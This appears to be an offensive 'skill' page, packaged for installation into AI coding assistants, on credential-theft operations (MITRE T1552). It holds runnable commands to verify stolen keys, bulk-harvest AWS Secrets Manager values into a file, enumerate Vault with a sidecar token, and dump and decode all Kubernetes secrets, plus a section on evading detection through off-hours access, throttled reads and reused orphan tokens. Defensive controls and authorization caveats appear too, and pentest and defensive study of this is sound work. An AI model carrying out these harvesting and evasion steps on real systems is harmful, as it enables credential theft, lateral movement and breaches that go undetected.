Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
{"domain":"appsec","tool_count":14,"guide_count":3,"mitre":"T1552-Unsecured Credentials, T1552.001-Credentials In Files, T1552.004-Private Keys, T1552.007-Container and Cloud","last_reviewed":"2026-07-26"}
MITRE ATT&CK: T1552-Unsecured Credentials, T1552.001-Credentials In Files, T1552.004-Private Keys, T1552.007-Container and Cloud
Description
Secret management attack covers the full lifecycle of credential exposure: discovering hardcoded secrets in source code and git history (gitleaks, trufflehog), running static analysis to find insecure data flows that leak secrets (semgrep, bearer, DeepAudit), extracting secrets from compiled artifacts and mobile bundles (apkleaks, trufflehog filesystem), crawling live web endpoints for embedded tokens (cariddi), exploiting secrets-management platforms once a foothold is obtained (HashiCorp Vault, Infisical, Doppler, AWS Secrets Manager, GCP Secret Manager, Azure Key Vault), stealing CI/CD pipeline secrets (GitHub Actions, GitLab CI, Jenkins, CircleCI), dumping Kubernetes secrets and etcd contents, and peeling container image layers to find credentials baked into base images.
This is not generic security-review. The distinction matters because secrets are the single highest-leverage finding in a real engagement: one leaked AWS access key grants production infrastructure; one stale Vault token grants every secret an entire service can read; one CI variable carries deploy credentials across hundreds of environments. The discipline is therefore focused on breadth first, depth second: scan everything (repo, history, filesystem, images, live endpoints, cloud metadata, runtime memory) before going deep on verification and exploitation. Every finding carries an OPSEC obligation — naïve verification against live services triggers provider-side secret-leak monitoring (GitHub Secret Scanning, GitGuardian, AWS CloudTrail anomalies), invalidates canary tokens, and tips the defender before lateral movement is ready.
Difference from security-review: security-review is a checklist (did you check X, Y, Z?). Secret-management-attack is the deep dive — it provides the actual command inventory, OPSEC-aware verification patterns, vault/platform exploitation paths, and the verification loop that distinguishes a stale-looking string in a README from a live, exploitable production key.
Difference from repo-scan: repo-scan classifies the codebase (what's custom, what's third-party). Secret-management-attack consumes that classification, ignores the third-party code unless specifically asked, and concentrates on the custom-code surface where secrets live — and then extends beyond the repo into the runtime (cloud, vault, CI, containers) where those secrets actually authenticate.
Difference from cloud-security: cloud-security covers IAM policy, networking, and workload identity. Secret-management-attack focuses specifically on the credential itself — where it leaked, whether it still works, what permissions it carries, and how to use it without tripping the cloud provider's anomaly detectors. The two skills are complementary: cloud-security tells you "this role can read all S3 buckets"; secret-management-attack tells you "here is the access key for that role, found in a 3-year-old commit."
Difference from post-exploitation: post-exploitation covers host takeover after a foothold. Secret-management-attack is the discovery phase that often produces the foothold — credentials harvested from a repo or image are the most common entry vector in real breaches (Codecov, CircleCI, LastPass, Toyota, Samsung).
Use Cases
Repository history secret sweep: Run gitleaks + trufflehog across the entire git history (including all branches, tags, and dangling commits) to find secrets that were committed and "deleted" but remain recoverable from the reflog or pack files. Cover the OPSEC concern: scanning locally cloned repos avoids triggering GitHub Secret Scanning alerts that fire on push.
SAST custom-rules audit: Author semgrep + bearer rules that match the client's proprietary token formats, internal API key prefixes, and bespoke auth schemes that off-the-shelf scanners miss. Combine with registry rules (semgrep-rules, bearer-rules) for standard framework coverage.
Hardcoded-credential filesystem sweep: Walk a filesystem (server, container, laptop) and identify .env, config.yml, ~/.aws/credentials, ~/.kube/config, ~/.docker/config.json, ~/.npmrc, ~/.pypirc, application log files, IDE workspace state, and shell history for plaintext credentials.
Mobile app secret extraction: Run apkleaks and trufflehog against APK/DEX files to extract embedded API keys, Firebase config, OAuth client secrets, and hardcoded backend URLs that mobile developers left in the binary.
Web endpoint + JS crawl: Use cariddi to crawl a target web app, extract inline secrets from JavaScript bundles, sourcemaps, and HTML comments, and identify forgotten debug endpoints leaking tokens.
HashiCorp Vault exploitation: From a foothold on a host with a Vault agent sidecar, abuse the VAULT_TOKEN environment variable, probe token capabilities via vault token capabilities, attempt policy escalation, and read every secret the token can reach — all without revoking the token (preserves OPSEC).
Cloud secret-manager exploitation: Enumerate and read AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Doppler/Infisical secrets using compromised credentials — focusing on the "blast radius" question (what does THIS credential let me read?).
CI/CD pipeline secret theft: Dump GitHub Actions secrets via pull_request_target abuse, GitLab CI masked-variable exposure via script echoes, Jenkins credentials binding leakage, and CircleCI context env-var exfiltration. Reference real CVEs: Codecov bash uploader supply-chain (CVE-2021-N/A), CircleCI orb leak (2023), GitHub Actions tj-actions/changed-files compromise (2025).
Kubernetes secret dump: List and dump all secrets in all namespaces a service account can reach; pivot to etcd if the SA has the right RBAC; harvest imagePullSecrets for private registry credentials.
Container image layer analysis: Use dive to walk each layer of a Docker image, find .env or config files baked into a layer even if later deleted, and run trivy / grype against the image for both vulnerabilities and embedded secrets.
Core Tools
Secret Scanners
Tool
Purpose
Command Example
gitleaks (27k★)
Git history + filesystem secret detection with 100+ built-in rules
Before any scanning, define what is in scope and what is not. This phase sets OPSEC limits (no live verification against production APIs, no triggering of secret-leak monitoring), determines scan budget (a monorepo with 10 years of history needs a different approach than a single-container audit), and produces an inventory of targets: repos, hosts, images, mobile binaries, web apps, cloud accounts, vaults.
# Inventory template
cat <<EOF > secret_targets.tsv
kind location notes
repo github.com/client/monorepo full history + all branches
host 10.0.1.5 (bastion) /home, /etc, /var/log
image registry/client/api:2024.11 all layers
apk com.client.app (Play Store) production binary
webapp https://app.client.com crawl + JS extraction
cloud aws:123456789012 IAM + Secrets Manager
vault https://vault.infra.client.local token from sidecar leak
ci github.com/client/monorepo-actions workflows + secrets
k8s https://k8s.api.client.local all namespaces
EOF
Phase 2: Breadth Scan
Run every applicable scanner against every target. The goal is breadth, not depth — find every candidate, do not yet verify. Verification happens in Phase 3 because every live verification is an OPSEC event.
Dedupe findings, filter false positives (test keys, canary tokens, example strings from docs), rank by apparent blast radius (an AKIA... key is higher priority than an internal API token of unknown scope), and verify — but only after explicitly confirming OPSEC allowance. Trufflehog's --only-verified flag performs live verification; this is powerful but generates real API calls.
# Verify AWS keys (writes to CloudTrail — OPSEC event)
trufflehog --only-verified git file://. --json
# Manual AWS verification (minimal signature)
# See payloads.md Section 8.1 — the lightest-touch check is STS GetCallerIdentity
# Verify GitHub PAT (no log side-effect if only hitting /user)
curl -s -H "Authorization: token $TOKEN" https://api.github.com/user | jq .login
# Canary-token detection BEFORE verification — see payloads.md Section 14
# (thinkst canarytokens.org, GitGuardian honeytokens, custom AWS honey keys)
Phase 4: Platform Exploit
Once a credential is verified, expand to its native platform. An AWS key becomes a Secrets Manager enumeration. A Vault token becomes a secret read across all reachable paths. A CI variable becomes lateral movement into other pipelines.
# AWS — enumerate secrets the compromised key can read
aws secretsmanager list-secrets --region us-east-1 --output json
aws secretsmanager get-secret-value --secret-id prod/db --region us-east-1
# Vault — list capabilities and read every reachable path
vault token capabilities $(printenv VAULT_TOKEN)
vault kv get -format=json secret/prod/db | jq .data.data
# Infisical — enumerate all secrets in all environments the token reaches
infisical secrets --token st.xxx.prod.proj --env=prod --path /
Phase 5: Lateral Pivot
Use harvested secrets to reach new targets. A database password from Secrets Manager authenticates to the RDS instance. A Vault token from a CI runner authenticates to production infrastructure. A kubeconfig from a desktop machine grants cluster-admin somewhere.
The discipline here is graph traversal: each secret expands the reachable-node set. Maintain a running pivot-graph so that by Phase 6 you can articulate the full blast radius.
Phase 6: Report & Rotated-Keys Map
Produce a deliverable that maps every verified secret to: where it was found, who owns it, what it grants, whether it has been rotated, and what compensating controls are now in place. The most valuable section is the blast-radius graph — a single diagram showing "this one leaked Vault token → these 47 secrets → these 12 services."
Quick Selection Guide
Scenario
Primary Approach
Alternative
New client, monorepo, full history
gitleaks + trufflehog git on local clone
Add --log-opts="--since=2020-01-01" to budget
Suspected secret in 3rd-party image
dive to find layer, trivy image --scanners secret
Pull and grep on extracted FS
Mobile app pentest
apkleaks + trufflehog filesystem on extracted APK
jadx then manual review
Web app recon
cariddi crawl + JS extraction
katana + custom grep
Foothold on host with Vault sidecar
vault token capabilities, enumerate paths
Dump VAULT_TOKEN from process env
Compromised AWS key
STS GetCallerIdentity → enumerate Secrets Manager
Check IAM policies for S3/RDS read
GitHub Actions recon
Read workflow YAMLs, identify pull_request_target
Trigger fork-PR workflow in test repo
K8s SA foothold
kubectl get secrets -A -o yaml, decode base64
If RBAC allows, query etcd directly
Verifying without OPSEC impact
Local entropy + regex + context check
Use trufflehog with --no-verification
Suspected canary token
Heuristic check (see payloads.md §14) before any API call
Treat unknown AWS keys as honeytokens until proven
Hand to executive
Blast-radius graph + rotation status table
Add timeline of when each secret was committed
Defense Perspective
Defense Measure
Description
Pre-commit hooks (gitleaks/talisman)
Block secrets before they ever reach git history. pre-commit + gitleaks is the highest-ROI control.
CI/CD scanning
Run trufflehog + gitleaks in every PR build; fail the build on new findings.
Short-lived credentials
Replace long-lived AWS keys with STS sessions; replace Vault static tokens with AppRole / Kubernetes auth; replace CI long-lived tokens with OIDC federation.
Vault policy least privilege
Each service's Vault policy should grant only the specific secret paths it needs — never secret/*.
Secret rotation discipline
Rotate on schedule AND on personnel change; track rotation state per secret.
Canary tokens / honeytokens
Deploy fake AWS keys (thinkst, GitGuardian) in repos and configs; alert on use.
Runtime secret scanning
Trivy on every image push; Falco rules for secrets read from env at runtime.
Provider-side leak detection
GitHub Secret Scanning, GitGuardian, AWS's own "leaked credential" CloudTrail detector — enable all that apply.
Short TTL on Vault tokens
Default 24h, renewable; never issue permanent tokens.
Audit logging on every secret read
Vault audit devices, AWS CloudTrail data events on Secrets Manager, GCP Audit Logs — log every read; alert on anomalous read patterns.
Practical Steps
Detailed payloads in payloads.md, complete test checklist in test-cases.md.
Exercise 1: Repository History Sweep (Local-Only OPSEC)
Goal: find every secret in git history without triggering provider-side alerting.
# Clone locally (do NOT use --remote scan during recon)
git clone --mirror https://github.com/client/repo.git repo-bare
# gitleaks — all branches, all tags, all commits
gitleaks detect --source repo-bare --report-path gitleaks.json \
--log-opts=" --all" --verbose
# trufflehog — start with --no-verification to avoid live API calls
trufflehog git file://repo-bare --no-update --no-verification --json \
> trufflehog_unverified.jsonl
# After manual review, verify ONLY the high-confidence candidates
trufflehog git file://repo-bare --only-verified --json \
--results=verified,unknown --include-detectors=aws,github,stripe \
> trufflehog_verified.jsonl
Exercise 2: SAST Custom Rule for Proprietary Tokens
Goal: write a semgrep rule that matches the client's internal token format and discover leakage.
Goal: from a foothold with a Vault sidecar token, enumerate every reachable secret without revoking the token.
# 1. Token introspection
vault token lookup
# 2. Capabilities on the most common paths
for path in secret/ secret/data/ prod/ staging/ kv/; do
echo "=== $path ==="
vault token capabilities "$path" || true
done
# 3. Recursive list-and-read of every reachable path
# (See payloads.md Section 9.2 for the recursive walker script)
# 4. OPSEC: do NOT revoke the token until ready — read-only preserves stealth
Goal: from a verified AWS key, map every secret it can read.
# 1. Verify the key (lightest-touch call)
aws sts get-caller-identity
# 2. List all secrets in every region the account uses
for region in us-east-1 us-west-2 eu-west-1 ap-southeast-2; do
aws secretsmanager list-secrets --region "$region" --output json > "secrets_${region}.json"
done
# 3. Bulk-read each secret (CloudTrail logs every read — OPSEC event)
for arn in $(jq -r '.SecretList[].ARN' secrets_us-east-1.json); do
aws secretsmanager get-secret-value --secret-id "$arn" --region us-east-1 \
--query 'SecretString' --output text >> harvested.jsonl
done
Exercise 5: GitHub Actions Secret Theft via pull_request_target
Goal: demonstrate how a misconfigured workflow exposes repository secrets to fork-PR attackers.
Attack: an attacker forks the repo, modifies package.json to exfiltrate process.env.DEPLOY_TOKEN, opens a PR. See payloads.md Section 11 for the full exfil payload and remediation (never use pull_request_target with secrets.* and an attacker-controlled ref).
Exercise 6: Kubernetes Secret Dump
Goal: dump every secret the compromised service account can reach.
# 1. Identify SA
kubectl auth can-i --list
# 2. Dump all secrets across all namespaces
kubectl get secrets -A -o json | jq '.items[] |
{ns: .metadata.namespace,
name: .metadata.name,
type: .type,
data: (.data | to_entries | map({key:.key, val:(.value|@base64d)}))}'
# 3. ImagePullSecrets — registry creds for lateral to private registries
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
{ns:.metadata.namespace, name:.metadata.name,
auths: (.data[".dockerconfigjson"]|@base64d|fromjson).auths}'
# 4. If RBAC allows, query etcd directly (see payloads.md Section 12)
Exercise 7: Container Image Layer Analysis
Goal: find a secret that was baked into a base layer and "deleted" in a later layer.
AWS CloudTrail: Alert on secretsmanager:GetSecretValue from new ARN.
Defense Evasion Techniques
Secret Theft Stealth
Use legitimate service identity: Don't create new identity; use existing service account.
Off-hours access: Access secrets during low-activity hours.
Distribute reads: Spread reads across time; below baseline anomaly.
Vault Compromise Stealth
Use existing auth methods: Don't create new auth method; use existing one.
Use orphan tokens: Some Vault tokens have no TTL; reuse indefinitely.
Response wrapping abuse: Use wrapping tokens to exfil secrets in transit.
Safety Notes
Authorization is non-negotiable: scanning a codebase you do not own, verifying a credential against a live API you do not have rights to, or reading a Vault you have not been granted access to are all crimes in most jurisdictions. The Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalents elsewhere apply.
OPSEC from the first scan: scanning a remote repo with trufflehog or gitleaks can trigger GitHub/GitLab's own secret-scanning alerts. Clone locally and scan the filesystem instead. The provider cannot see what happens on your laptop.
Verification is an event: every time trufflehog's --only-verified calls an AWS STS endpoint, a CloudTrail event fires. AWS has a dedicated detector for leaked keys. Verify sparingly and only with explicit client authorization.
Canary tokens are everywhere: thinkst canarytokens, GitGuardian honeytokens, and custom AWS honey keys are deployed in repos and configs specifically to catch scanners. Treat every unknown AWS key as a potential honeytoken until you have done the heuristic check in payloads.md Section 14.
Never commit to remediation before notifying: if you find a live production key, the right move is to alert the owner immediately for rotation, not to "test what else it can do." Lateral exploration after notification is fine; before notification is reckless.
Secrets in test artifacts are still secrets: a sk_test_... Stripe key or a ghp_test_... GitHub PAT may have lower blast radius but is still a credential. Document and rotate.
Don't exfiltrate more than necessary: harvesting 1000 secrets when you need to demonstrate 5 is overreach and creates a breach-of-NDA risk. Scope the harvest to the minimum necessary for the engagement.
Report assembly discipline: never include the full secret value in the report deliverable. Use masked forms (AKIA...XYZ9) — enough to identify, not enough to weaponize if the report leaks.
Hacker Laws
Information Wants to Be Free — secrets are fundamentally information; they leak through git history, image layers, mobile binaries, JS bundles, log files, env vars, and memory. The defensive posture must assume eventual exposure and design for blast-radius containment (short TTLs, least-privilege policies, rotation discipline).
Assume Breach — given a foothold on any one host, ask: what secrets can this host read? Vault sidecars leak VAULT_TOKEN. AWS instances leak instance-profile credentials via the metadata endpoint. CI runners leak secrets in env. Every host is a potential secret-store; map the blast radius before the adversary does.
Least Privilege — the single most effective secret-defense control. A Vault token scoped to secret/prod/webapp/db is recoverable; a token scoped to secret/* is catastrophic. Every policy review should ask: can this be narrower?
Trust but Verify — trufflehog's verification is not optional theater; it is the difference between "found a string that looks like a key" and "found a key that grants production access." A finding without verification is a hypothesis, not a finding.
Defense in Depth — pre-commit hooks catch 80% of leaks; CI scanning catches the next 15%; runtime scanning catches the last 5% that escape both. No single layer is sufficient; the layering is the control.
People are the Weakest Link — secrets leak because developers commit them, paste them into Slack, email them to vendors, and embed them in screenshots. Tooling helps; the durable fix is cultural: secret-handling hygiene as a default expectation, not an afterthought.
Cross-References
skills/security-review/SKILL.md — the checklist framework this skill extends with deep secrets/SAST coverage
skills/repo-scan/SKILL.md — codebase classification that informs which surfaces to scan
skills/cloud-security/SKILL.md — IAM and workload identity (this skill finds the keys; cloud-security explains what those keys can do)
skills/container-security/SKILL.md — runtime container protection; complements this skill's image-layer analysis
skills/post-exploitation/SKILL.md — host-takeover patterns; secret-management-attack often supplies the initial access that post-exploitation extends
skills/anti-forensics/SKILL.md — relevant when considering how defenders will reconstruct a breach timeline
skills/digital-forensics/SKILL.md — the defensive counterpart; the same artifact set (git history, image layers, K8s secrets) is what an investigator will examine
skills/supply-chain-security/SKILL.md — overlaps with this skill on CI/CD secret theft and Codecov/CircleCI-class incidents
skills/web-auth-bypass/SKILL.md — relevant when harvested tokens are JWT/OAuth/session credentials
skills/pentest-reporting/SKILL.md — report assembly with the masked-secret discipline required for secret-audit deliverables
Learning Resources
This skill's supplementary files: payloads.md, test-cases.md
Deep-dive guides:
guides/secret-management-attack-playbook.md — end-to-end workflow from scope through scan, triage, platform exploit, lateral pivot, and report
guides/vault-and-cloud-kms-attack-playbook.md — Vault and cloud KMS exploitation depth
guides/cicd-secret-sprawl-and-sast-rule-deep-dive.md — CI/CD sprawl audit and custom SAST rule authoring
